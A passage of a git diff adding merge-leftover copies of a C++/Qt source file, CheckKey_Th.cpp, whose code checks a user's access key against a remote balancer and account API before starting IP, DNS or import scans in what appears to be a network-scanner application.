AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + int c = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Connection timeout."); + CSSOCKET(sock); + return -1; + }; + c = send(sock, msg, strlen(msg), 0); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Send error."); + CSSOCKET(sock); + return -1; + }; + ZeroMemory(msg, sizeof(msg)); + test = recv(sock, msg, 512, 0); + + if(strstr(msg, "202 Accepted") != NULL) + { +#pragma region QTGUI_Area + stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); +#pragma endregion + CSSOCKET(sock); + + if(emitIfOK == 0) stt->doEmitionStartScanIP(); + else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); + else if(emitIfOK == 2) stt->doEmitionStartScanImport(); + return 1; + } + else if(strstr(msg, "400 Bad Request") != NULL) + { +#pragma region QTGUI_Area + QString errorDef = GetNSErrorDefinition(msg, "notify"); + if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); + else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); +#pragma endregion + CSSOCKET(sock); + return -1; + } + else if(strstr(msg, "503 Bad Gateway") != NULL) + { + stt->doEmitionYellowFoundData("[NS-Track] 503 Backend not responding!"); + CSSOCKET(sock); + return -1; + } + else + { +#pragma region QTGUI_Area + char header[64] = {0}; + getSubStrEx(msg, "http/1.1 ", "\r\n", header, 64); + stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: " + QString::fromLocal8Bit(header) + ""); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); +#pragma endregion + CSSOCKET(sock); + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + CSSOCKET(sock); + } + else + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); + CSSOCKET(sock); + return -1; +#pragma endregion + }; +}; + +void CheckKey_Th::run() +{ + KeyCheckerMain(); +}; diff --git a/CheckKey_Th.cpp.REMOTE.2593.cpp b/CheckKey_Th.cpp.REMOTE.2593.cpp new file mode 100644 index 0000000..901be01 --- /dev/null +++ b/CheckKey_Th.cpp.REMOTE.2593.cpp @@ -0,0 +1,270 @@ +#pragma once +#include "CheckKey_Th.h" +#include "CheckProxy_Th.h" +#include "STh.h" +#include "externData.h" +#include "externFunctions.h" + +void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int szStartStr = strlen(startStr); + int sz = ptr2 - ptr1 - szStartStr; + strncpy(dest, ptr1 + szStartStr, sz < szDest ? sz : szDest); + }; + }; +} +void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int sz = ptr2 - ptr1; + strncpy(dest, ptr1, sz < szDest ? sz : szDest); + }; + }; +} +int emitIfOK = -1; +int KeyCheckerMain() +{ + int kLen = strlen(trcPersKey); + if(kLen == 0) + { + stt->doEmitionRedFoundData("[Key check] Key field is empty."); + return -1; + } + else if(kLen < 32) + { + stt->doEmitionRedFoundData("[Key check] Key length is not valid."); + return -1; + }; + char msg[1024] = {0}; + char ndbServer[64] = {0}; + char ndbScript[64] = {0}; + + sockaddr_in sockAddr; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + + strcpy(msg, "GET "); + strcat(msg, "/"); + strcat(msg, trcScr); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, trcSrv); + strcat(msg, "\r\nX-Nescav3: True"); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + + HOSTENT *host; + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + stt->doEmitionYellowFoundData("[Key check] Requesting server ip..."); + int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + return -1; + }; + + test = send(sock, msg, strlen(msg), 0); + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + int ror = sizeof(msg); + + test = recv(sock, msg, sizeof(msg), 0); + char buff[512] = {0}; + while((test = recv(sock, msg, sizeof(msg), 0)) != 0) + { + strcat(msg, buff); + }; + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + char *t1; + char *t2; + if(strstr(msg, "http://") != NULL) + { + t1 = strstr(msg, "http://"); + if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) + { + t2 = strstr((char*)(t1 + strlen("http://")), "/"); + int ln = t2 - t1 - strlen("http://"); + if(ln > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); + + + if(strlen(t2) > 64) + { + stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!"); + if(strstr(t2, "\r\n") != NULL) + { + char *t3 = strstr(t2, "\r\n"); + int y = (int)(t3 - t2); + + if(y > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else + { + strncpy(ndbScript, t2, y); + }; + } + else + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + }; + } else strcpy(ndbScript, t2); + } + else + { + stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!"); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + + stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key..."); + CSSOCKET(sock); + + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + strcpy(msg, "GET "); + strcat(msg, "/api/checkaccount?key="); + strncat(msg, trcPersKey, 32); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, ndbServer); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + int c = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Connection timeout."); + CSSOCKET(sock); + return -1; + }; + c = send(sock, msg, strlen(msg), 0); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Send error."); + CSSOCKET(sock); + return -1; + }; + ZeroMemory(msg, sizeof(msg)); + test = recv(sock, msg, 512, 0); + + if(strstr(msg, "202 Accepted") != NULL) + { +#pragma region QTGUI_Area + stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); +#pragma endregion + CSSOCKET(sock); + + if(emitIfOK == 0) stt->doEmitionStartScanIP(); + else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); + else if(emitIfOK == 2) stt->doEmitionStartScanImport(); + return 1; + } + else if(strstr(msg, "400 Bad Request") != NULL) + { +#pragma region QTGUI_Area + QString errorDef = GetNSErrorDefinition(msg, "notify"); + if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); + else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); +#pragma endregion + CSSOCKET(sock); + return -1; + } + else if(strstr(msg, "503 Bad Gateway") != NULL) + { + stt->doEmitionYellowFoundData("[NS-Track] 503 Backend not responding!"); + CSSOCKET(sock); + return -1; + } + else + { +#pragma region QTGUI_Area + char header[64] = {0}; + getSubStrEx(msg, "http/1.1 ", "\r\n", header, 64); + stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: " + QString::fromLocal8Bit(header) + ""); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); +#pragma endregion + CSSOCKET(sock); + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + CSSOCKET(sock); + } + else + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); + CSSOCKET(sock); + return -1; +#pragma endregion + }; +}; + +void CheckKey_Th::run() +{ + KeyCheckerMain(); +}; diff --git a/CheckKey_Th.cpp.REMOTE.2715.cpp b/CheckKey_Th.cpp.REMOTE.2715.cpp new file mode 100644 index 0000000..901be01 --- /dev/null +++ b/CheckKey_Th.cpp.REMOTE.2715.cpp @@ -0,0 +1,270 @@ +#pragma once +#include "CheckKey_Th.h" +#include "CheckProxy_Th.h" +#include "STh.h" +#include "externData.h" +#include "externFunctions.h" + +void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int szStartStr = strlen(startStr); + int sz = ptr2 - ptr1 - szStartStr; + strncpy(dest, ptr1 + szStartStr, sz < szDest ? sz : szDest); + }; + }; +} +void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int sz = ptr2 - ptr1; + strncpy(dest, ptr1, sz < szDest ? sz : szDest); + }; + }; +} +int emitIfOK = -1; +int KeyCheckerMain() +{ + int kLen = strlen(trcPersKey); + if(kLen == 0) + { + stt->doEmitionRedFoundData("[Key check] Key field is empty."); + return -1; + } + else if(kLen < 32) + { + stt->doEmitionRedFoundData("[Key check] Key length is not valid."); + return -1; + }; + char msg[1024] = {0}; + char ndbServer[64] = {0}; + char ndbScript[64] = {0}; + + sockaddr_in sockAddr; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + + strcpy(msg, "GET "); + strcat(msg, "/"); + strcat(msg, trcScr); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, trcSrv); + strcat(msg, "\r\nX-Nescav3: True"); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + + HOSTENT *host; + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + stt->doEmitionYellowFoundData("[Key check] Requesting server ip..."); + int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + return -1; + }; + + test = send(sock, msg, strlen(msg), 0); + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + int ror = sizeof(msg); + + test = recv(sock, msg, sizeof(msg), 0); + char buff[512] = {0}; + while((test = recv(sock, msg, sizeof(msg), 0)) != 0) + { + strcat(msg, buff); + }; + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + char *t1; + char *t2; + if(strstr(msg, "http://") != NULL) + { + t1 = strstr(msg, "http://"); + if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) + { + t2 = strstr((char*)(t1 + strlen("http://")), "/"); + int ln = t2 - t1 - strlen("http://"); + if(ln > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); + + + if(strlen(t2) > 64) + { + stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!"); + if(strstr(t2, "\r\n") != NULL) + { + char *t3 = strstr(t2, "\r\n"); + int y = (int)(t3 - t2); + + if(y > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else + { + strncpy(ndbScript, t2, y); + }; + } + else + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + }; + } else strcpy(ndbScript, t2); + } + else + { + stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!"); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + + stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key..."); + CSSOCKET(sock); + + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + strcpy(msg, "GET "); + strcat(msg, "/api/checkaccount?key="); + strncat(msg, trcPersKey, 32); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, ndbServer); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + int c = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Connection timeout."); + CSSOCKET(sock); + return -1; + }; + c = send(sock, msg, strlen(msg), 0); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Send error."); + CSSOCKET(sock); + return -1; + }; + ZeroMemory(msg, sizeof(msg)); + test = recv(sock, msg, 512, 0); + + if(strstr(msg, "202 Accepted") != NULL) + { +#pragma region QTGUI_Area + stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); +#pragma endregion + CSSOCKET(sock); + + if(emitIfOK == 0) stt->doEmitionStartScanIP(); + else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); + else if(emitIfOK == 2) stt->doEmitionStartScanImport(); + return 1; + } + else if(strstr(msg, "400 Bad Request") != NULL) + { +#pragma region QTGUI_Area + QString errorDef = GetNSErrorDefinition(msg, "notify"); + if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); + else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); +#pragma endregion + CSSOCKET(sock); + return -1; + } + else if(strstr(msg, "503 Bad Gateway") != NULL) + { + stt->doEmitionYellowFoundData("[NS-Track] 503 Backend not responding!"); + CSSOCKET(sock); + return -1; + } + else + { +#pragma region QTGUI_Area + char header[64] = {0}; + getSubStrEx(msg, "http/1.1 ", "\r\n", header, 64); + stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: " + QString::fromLocal8Bit(header) + ""); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); +#pragma endregion + CSSOCKET(sock); + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + CSSOCKET(sock); + } + else + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); + CSSOCKET(sock); + return -1; +#pragma endregion + }; +}; + +void CheckKey_Th::run() +{ + KeyCheckerMain(); +}; diff --git a/CheckKey_Th.cpp.REMOTE.2915.cpp b/CheckKey_Th.cpp.REMOTE.2915.cpp new file mode 100644 index 0000000..901be01 --- /dev/null +++ b/CheckKey_Th.cpp.REMOTE.2915.cpp @@ -0,0 +1,270 @@ +#pragma once +#include "CheckKey_Th.h" +#include "CheckProxy_Th.h" +#include "STh.h" +#include "externData.h" +#include "externFunctions.h" + +void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int szStartStr = strlen(startStr); + int sz = ptr2 - ptr1 - szStartStr; + strncpy(dest, ptr1 + szStartStr, sz < szDest ? sz : szDest); + }; + }; +} +void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int sz = ptr2 - ptr1; + strncpy(dest, ptr1, sz < szDest ? sz : szDest); + }; + }; +} +int emitIfOK = -1; +int KeyCheckerMain() +{ + int kLen = strlen(trcPersKey); + if(kLen == 0) + { + stt->doEmitionRedFoundData("[Key check] Key field is empty."); + return -1; + } + else if(kLen < 32) + { + stt->doEmitionRedFoundData("[Key check] Key length is not valid."); + return -1; + }; + char msg[1024] = {0}; + char ndbServer[64] = {0}; + char ndbScript[64] = {0}; + + sockaddr_in sockAddr; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + + strcpy(msg, "GET "); + strcat(msg, "/"); + strcat(msg, trcScr); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, trcSrv); + strcat(msg, "\r\nX-Nescav3: True"); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + + HOSTENT *host; + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + stt->doEmitionYellowFoundData("[Key check] Requesting server ip..."); + int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + return -1; + }; + + test = send(sock, msg, strlen(msg), 0); + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + int ror = sizeof(msg); + + test = recv(sock, msg, sizeof(msg), 0); + char buff[512] = {0}; + while((test = recv(sock, msg, sizeof(msg), 0)) != 0) + { + strcat(msg, buff); + }; + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + char *t1; + char *t2; + if(strstr(msg, "http://") != NULL) + { + t1 = strstr(msg, "http://"); + if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) + { + t2 = strstr((char*)(t1 + strlen("http://")), "/"); + int ln = t2 - t1 - strlen("http://"); + if(ln > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); + + + if(strlen(t2) > 64) + { + stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!"); + if(strstr(t2, "\r\n") != NULL) + { + char *t3 = strstr(t2, "\r\n"); + int y = (int)(t3 - t2); + + if(y > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else + { + strncpy(ndbScript, t2, y); + }; + } + else + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + }; + } else strcpy(ndbScript, t2); + } + else + { + stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!"); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + + stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key..."); + CSSOCKET(sock); + + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + strcpy(msg, "GET "); + strcat(msg, "/api/checkaccount?key="); + strncat(msg, trcPersKey, 32); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, ndbServer); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + int c = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Connection timeout."); + CSSOCKET(sock); + return -1; + }; + c = send(sock, msg, strlen(msg), 0); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Send error."); + CSSOCKET(sock); + return -1; + }; + ZeroMemory(msg, sizeof(msg)); + test = recv(sock, msg, 512, 0); + + if(strstr(msg, "202 Accepted") != NULL) + { +#pragma region QTGUI_Area + stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); +#pragma endregion + CSSOCKET(sock); + + if(emitIfOK == 0) stt->doEmitionStartScanIP(); + else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); + else if(emitIfOK == 2) stt->doEmitionStartScanImport(); + return 1; + } + else if(strstr(msg, "400 Bad Request") != NULL) + { +#pragma region QTGUI_Area + QString errorDef = GetNSErrorDefinition(msg, "notify"); + if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); + else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); +#pragma endregion + CSSOCKET(sock); + return -1; + } + else if(strstr(msg, "503 Bad Gateway") != NULL) + { + stt->doEmitionYellowFoundData("[NS-Track] 503 Backend not responding!"); + CSSOCKET(sock); + return -1; + } + else + { +#pragma region QTGUI_Area + char header[64] = {0}; + getSubStrEx(msg, "http/1.1 ", "\r\n", header, 64); + stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: " + QString::fromLocal8Bit(header) + ""); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); +#pragma endregion + CSSOCKET(sock); + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + CSSOCKET(sock); + } + else + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); + CSSOCKET(sock); + return -1; +#pragma endregion + }; +}; + +void CheckKey_Th::run() +{ + KeyCheckerMain(); +}; diff --git a/CheckKey_Th.cpp.orig b/CheckKey_Th.cpp.orig new file mode 100644 index 0000000..64dccb8 --- /dev/null +++ b/CheckKey_Th.cpp.orig @@ -0,0 +1,300 @@ +#pragma once +#include "CheckKey_Th.h" +#include "CheckProxy_Th.h" +#include "STh.h" +#include "externData.h" +#include "externFunctions.h" + +void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int szStartStr = strlen(startStr); + int sz = ptr2 - ptr1 - szStartStr; + strncpy(dest, ptr1 + szStartStr, sz < szDest ? sz : szDest); + }; + }; +} +void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int sz = ptr2 - ptr1; + strncpy(dest, ptr1, sz < szDest ? sz : szDest); + }; + }; +} +int emitIfOK = -1; +int KeyCheckerMain() +{ + int kLen = strlen(trcPersKey); + if(kLen == 0) + { + stt->doEmitionRedFoundData("[Key check] Key field is empty."); + return -1; + } + else if(kLen < 32) + { + stt->doEmitionRedFoundData("[Key check] Key length is not valid."); + return -1; + }; + char msg[1024] = {0}; + char ndbServer[64] = {0}; + char ndbScript[64] = {0}; + + sockaddr_in sockAddr; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + + strcpy(msg, "GET "); + strcat(msg, "/"); + strcat(msg, trcScr); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, trcSrv); + strcat(msg, "\r\nX-Nescav3: True"); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + + HOSTENT *host; + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + stt->doEmitionYellowFoundData("[Key check] Requesting server ip..."); + int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + return -1; + }; + + test = send(sock, msg, strlen(msg), 0); + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + int 